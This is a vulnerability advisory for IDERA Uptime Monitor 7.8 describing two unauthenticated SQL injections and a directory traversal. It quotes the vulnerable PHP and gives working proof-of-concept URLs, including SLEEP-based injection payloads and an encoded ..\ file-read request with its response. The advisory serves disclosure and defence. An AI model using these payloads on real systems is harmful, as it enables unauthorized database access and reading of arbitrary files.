269 lines
No EOL
9.8 KiB
Markdown
269 lines
No EOL
9.8 KiB
Markdown
## Vulnerabilities Summary
|
||
The following advisory describe three (3) vulnerabilities found in IDERA Uptime Monitor version 7.8.
|
||
|
||
“IDERA Uptime Monitor is a Proactively monitor physical servers, virtual machines, network devices, applications, and services across multiple platforms running on-premise, remotely, or in the Cloud. Uptime Infrastructure Monitor provides a unified view of IT environment health and a GUI that is easily customizable, with a drag-anddrop dashboard design. Create private IT dashboards, team dashboards (server, application, capacity and networking teams, and even the specialist practitioner such as SharePoint farm administrators, etc.), and a network operations center (NOC) for the entire datacenter in minutes.”
|
||
|
||
The vulnerabilities found are:
|
||
|
||
SQL Injection (1)
|
||
SQL Injection (2)
|
||
Directory Traversal and File Access
|
||
|
||
## Credit
|
||
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.
|
||
|
||
## Vendor response
|
||
We notified IDERA about the vulnerabilities back in March 2017, repeated attempts to re-establish contact and get some answers on the status of the patch for this vulnerabilities went unanswered. At this time there is no solution or workaround for this vulnerability.
|
||
CVE’s:
|
||
|
||
SQL Injection (1) – CVE-2017-11470
|
||
SQL Injection (2) – CVE-2017-11471
|
||
Directory Traversal and File Access – CVE-2017-11469
|
||
|
||
## Vulnerabilities Details
|
||
|
||
## SQL Injection (1)
|
||
IDERA Uptime Monitor 7.8 is affected by multiple SQL injection vulnerabilities. User controlled data is included in SQL queries made by the application without first being properly sanitized. As a result a remote unauthenticated user can inject arbitrary SQL queries into the application’s back-end database
|
||
|
||
The SQL injection vulnerability is located in “/gadgets/definitions/uptime.CapacityWhatIfGadget/getmetrics.php”:
|
||
|
||
|
||
```
|
||
if (isset($_GET['query_type'])) {
|
||
$query_type = $_GET['query_type'];
|
||
}
|
||
if (isset($_GET['uptime_offset'])) {
|
||
$offset = $_GET['uptime_offset'];
|
||
}
|
||
if (isset($_GET['time_frame'])) {
|
||
$time_frame = $_GET['time_frame'];
|
||
} else {
|
||
$time_frame = 3;
|
||
}
|
||
if (isset($_GET['metricType'])) {
|
||
$metricType = $_GET['metricType'];
|
||
}
|
||
if (isset($_GET['element'])) {
|
||
$vmware_object_id = $_GET['element'];
|
||
}
|
||
$json = array();
|
||
$oneElement = array();
|
||
$performanceData = array();
|
||
//date_default_timezone_set('UTC');
|
||
$db = new uptimeDB;
|
||
if ($db - & gt; connectDB()) {
|
||
echo "";
|
||
} else {
|
||
echo "unable to connect to DB exiting";
|
||
exit(1);
|
||
}
|
||
if ($query_type == "osperf-Mem") {
|
||
$min_mem_usage_array = array();
|
||
$max_mem_usage_array = array();
|
||
$avg_mem_usage_array = array();
|
||
$sql = "SELECT
|
||
e.entity_id,
|
||
e.display_name as NAME,
|
||
date(s.sample_time) as SAMPLE_TIME,
|
||
min(a.free_mem) as MIN_MEM_USAGE,
|
||
max(a.free_mem) as MAX_MEM_USAGE,
|
||
avg(a.free_mem) as AVG_MEM_USAGE,
|
||
min(c.memsize) as TOTAL_CAPACITY,
|
||
max(c.memsize),
|
||
avg(c.memsize),
|
||
day(s.sample_time),
|
||
month(s.sample_time),
|
||
year(s.sample_time)
|
||
FROM
|
||
performance_aggregate a, performance_sample s, entity e, entity_configuration c
|
||
WHERE
|
||
s.id = a.sample_id AND
|
||
s.uptimehost_id = e.entity_id AND
|
||
e.entity_id = c.entity_id AND
|
||
s.sample_time & gt;
|
||
date_sub(now(), interval ". $time_frame . "
|
||
month) AND
|
||
e.entity_id = $vmware_object_id
|
||
GROUP BY
|
||
e.entity_id,
|
||
year(s.sample_time),
|
||
month(s.sample_time),
|
||
day(s.sample_time)
|
||
```
|
||
|
||
User controlled data entering the HTTP GET parameter “element” is included as part of an SQL query that is executed if the “$query_type” variable is equal to “osperf-Mem”. Because the value of the “$query_type” variable can also be set using the HTTP GET parameter “query_type”, a user can force the application to take the vulnerable code path, and execute the tainted SQL query. Visiting the following URL on a vulnerable installation will trigger the vulnerability, and return a verbose SQL error message.
|
||
|
||
|
||
```
|
||
/gadgets/definitions/uptime.CapacityWhatIfGadget/getmetrics.php?query_type=osperfMem&element='
|
||
```
|
||
|
||
## Proof of Concept
|
||
|
||
```
|
||
http://192.168.199.129:9999/gadgets/definitions/uptime.CapacityWhatIfGadget/getmetrics.php?query_type=osperf-Mem&element=1%20AND%20SLEEP(5)
|
||
|
||
## SQL Injection (2)
|
||
IDERA Uptime Monitor 7.8 is affected by multiple SQL injection vulnerabilities. User controlled data is included in SQL queries made by the application without first being properly sanitized. As a result a remote unauthenticated user can inject arbitrary SQL queries into the application’s back-end database
|
||
|
||
The vulnerability is very similar in structure to the first SQL vulnerability, and is located in “/gadgets/definitions/uptime.CapacityWhatifGadget/getxenmetrics.php”
|
||
|
||
```
|
||
if (isset($_GET['query_type'])) {
|
||
$query_type = $_GET['query_type'];
|
||
}
|
||
if (isset($_GET['uptime_offset'])) {
|
||
$offset = $_GET['uptime_offset'];
|
||
}
|
||
if (isset($_GET['time_frame'])) {
|
||
$time_frame = $_GET['time_frame'];
|
||
} else {
|
||
$time_frame = 3;
|
||
}
|
||
if (isset($_GET['metricType'])) {
|
||
$metricType = $_GET['metricType'];
|
||
}
|
||
if (isset($_GET['element'])) {
|
||
$element_id = $_GET['element'];
|
||
}
|
||
$json = array();
|
||
$oneElement = array();
|
||
$performanceData = array();
|
||
//date_default_timezone_set('UTC');
|
||
$db = new uptimeDB;
|
||
if ($db - & gt; connectDB()) {
|
||
echo "";
|
||
} else {
|
||
echo "unable to connect to DB exiting";
|
||
exit(1);
|
||
}
|
||
if ($query_type == "xenserver-Mem") {
|
||
$min_mem_usage_array = array();
|
||
$max_mem_usage_array = array();
|
||
$avg_mem_usage_array = array();
|
||
$getXenServerMemUsedsql = "SELECT
|
||
e.entity_id,
|
||
e.display_name as NAME,
|
||
date(dd.sampletime) as SAMPLE_TIME,
|
||
min(dd.value) as MIN_MEM_USAGE,
|
||
max(dd.value) as MAX_MEM_USAGE,
|
||
avg(dd.value) as AVG_MEM_USAGE,
|
||
day(dd.sampletime),
|
||
month(dd.sampletime),
|
||
year(dd.sampletime)
|
||
FROM
|
||
erdc_base b, erdc_configuration c, erdc_parameter p,
|
||
erdc_decimal_data dd, erdc_instance i, entity e
|
||
WHERE
|
||
b.name = 'XenServer'
|
||
AND
|
||
b.erdc_base_id = c.erdc_base_id AND
|
||
b.erdc_base_id = p.erdc_base_id AND
|
||
p.name = 'hostMemUsed'
|
||
AND
|
||
p.erdc_parameter_id = dd.erdc_parameter_id AND
|
||
dd.erdc_instance_id = i.erdc_instance_id AND
|
||
dd.sampletime & gt;
|
||
date_sub(now(), interval ". $time_frame . "
|
||
month)
|
||
AND
|
||
i.entity_id = e.entity_id AND
|
||
e.entity_id = $element_id
|
||
GROUP BY
|
||
e.entity_id,
|
||
year(dd.sampletime),
|
||
month(dd.sampletime),
|
||
day(dd.sampletime)
|
||
";
|
||
```
|
||
|
||
Visiting the following URL will elicit a verbose SQL message from the vulnerable web application.
|
||
|
||
```
|
||
/gadgets/definitions/uptime.CapacityWhatifGadget/getxenmetrics.php?query_type=xenserver-Mem&time_frame=1&element='
|
||
```
|
||
|
||
## Proof of Concept
|
||
|
||
|
||
```
|
||
http://192.168.199.129:9999/gadgets/definitions/uptime.CapacityWhatifGadget/getxenmetrics.php?query_type=xenserverMem&time_frame=1&element=1%20AND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(5)))tayk)
|
||
```
|
||
|
||
## Directory Traversal and File Access
|
||
User controlled input is not sufficiently sanitized, and then passed to a function responsible for accessing the filesystem. Successful exploitation of this vulnerability enables a remote unauthenticated user to read the content of any file existing on the host, this includes files located outside of the web root folder.
|
||
|
||
The vulnerable code can be found in get2post.php file:
|
||
|
||
|
||
```
|
||
if(isset($_GET["file_name"]) && $_GET["file_name"] != null){
|
||
$fileName = $_GET["file_name"];
|
||
$data = file_get_contents($fileName);
|
||
|
||
$data = str_replace("\"", '"', $data);
|
||
|
||
unlink($fileName);
|
||
|
||
print("<input type=\"hidden\" name=\"script\" value=\"".$data."\">\n");
|
||
```
|
||
|
||
User controlled data entering the HTTP GET parameter “file_name” is sanitized by removing all occurrences of the “\” character, and is then passed to the “file_get_contents” function. Next, then contents of the file (now in the $data variable) is printed in the application’s HTTP response.
|
||
|
||
## Proof of Concept
|
||
The following HTTP GET request provides proof-of-concept that will retrieve the contents of a file named “test.txt” that exists in the root of “C:\”
|
||
|
||
|
||
```
|
||
GET
|
||
/wizards/get2post.php?file_name=%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5ctest.t
|
||
xt HTTP/1.1
|
||
Host: 192.168.199.129:9999
|
||
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101
|
||
Firefox/51.0
|
||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||
Accept-Language: en-US,en;q=0.5
|
||
Cookie: PHPSESSID=8q7o2ckle9c6lcte045t7dufe2; cookieId=8q7o2ckle9c6lcte045t7dufe2
|
||
Connection: close
|
||
Upgrade-Insecure-Requests: 1
|
||
```
|
||
|
||
|
||
After executing this proof-of-concept against the vulnerable host, the following HTTP response was received containing the contents of the “test.txt” file that was placed in the root of “C:\”
|
||
|
||
|
||
```
|
||
HTTP/1.1 200 OK
|
||
Date: Mon, 06 Mar 2017 15:12:05 GMT
|
||
Server: Apache/2.4.20 (Win64) PHP/5.4.45 OpenSSL/1.0.2g
|
||
X-Powered-By: PHP/5.4.45
|
||
Expires: Thu, 19 Nov 1981 08:52:00 GMT
|
||
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
|
||
Pragma: no-cache
|
||
Vary: Accept-Encoding
|
||
Content-Length: 796
|
||
Connection: close
|
||
Content-Type: text/html
|
||
|
||
<html>
|
||
<head>
|
||
<title>Processing...</title>
|
||
</head>
|
||
<body onLoad="document.form.submit()">
|
||
<form name="form" action="../main.php?section=ERDCInstance&subsection=add"
|
||
method="post">
|
||
<input type="hidden" name="file_name" value="..\..\..\..\..\test.txt">
|
||
<input type="hidden" name="script"
|
||
value="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA">
|
||
<input type="hidden" name="category" value="agentless">
|
||
<input type="hidden" name="isWizard" value="1">
|
||
<input type="hidden" name="wizardPage" value="1">
|
||
<input type="hidden" name="wizardNumPages" value="2">
|
||
<input type="hidden" name="wizardTask" value="pageContinue">
|
||
<input type="hidden" name="visitedPage[1]" value="1">
|
||
<input type="hidden" name="fromGet2Post" value="true">
|
||
<img src="/images/InProgress.gif">
|
||
</form>
|
||
</body>
|
||
</html>
|
||
``` |